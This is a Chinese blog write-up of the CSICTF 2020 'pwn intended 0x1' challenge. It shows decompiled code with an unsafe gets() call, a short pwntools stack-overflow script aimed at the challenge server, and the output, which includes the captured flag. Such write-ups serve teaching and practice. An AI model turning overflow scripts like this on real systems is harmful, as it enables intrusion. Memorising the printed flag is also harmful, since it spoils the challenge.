

【CSICTF】pwn intended 0x1 WriteUp

原创

古月浪子 于 2020-07-23 15:49:19 发布 64 收藏

文章标签: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/tqdyqt/article/details/107459586>

版权

pwn intended 0x1

170

pwn

I really want to have some coffee!

nc [chall.csivit.com](#) 30001

↓ pwn-intend...

一道pwn的签到题

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char v4; // [rsp+0h] [rbp-30h]
4     int v5; // [rsp+2Ch] [rbp-4h]
5
6     v5 = 0;
7     setbuf(stdout, 0LL);
8     setbuf(stdin, 0LL);
9     setbuf(stderr, 0LL);
10    puts("Please pour me some coffee.");
11    gets(&v4, 0LL);
12    puts("\nThanks!\n");
13    if ( v5 )
14    {
15        puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it.");
16        system("cat flag.txt");
17    }
18    return 0;
19 }
```

v4的长度为0x30-4, 使用的是gets函数读取输入, 所以可以溢出
只要满足v5不等于0就可以拿到flag, 于是通过溢出修改v5的值即可

```

from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30001)
#io=process('./pwn-intended-0x1')
elf=ELF('./pwn-intended-0x1')

ra()
sl('a'*0x30)

io.interactive()

```

```

wesker@ubuntu: ~/Desktop
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
NX:      NX enabled
PIE:     No PIE (0x400000)
[DEBUG] Received 0x1b bytes:
'Please pour me some coffee:'
[DEBUG] Sent 0x31 bytes:
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:
'\n'

[DEBUG] Received 0x9 bytes:
'\n'
'Thanks!\n'

Thanks!
[DEBUG] Received 0x78 bytes:
'\n'
'Oh no, you spilled some coffee on the floor! Use the flag to clean it.\n'
'csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke @_buff3r}'

Oh no, you spilled some coffee on the floor! Use the flag to clean it.
csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke @_buff3r}[*] Got EOF while reading in int
eractive
$

```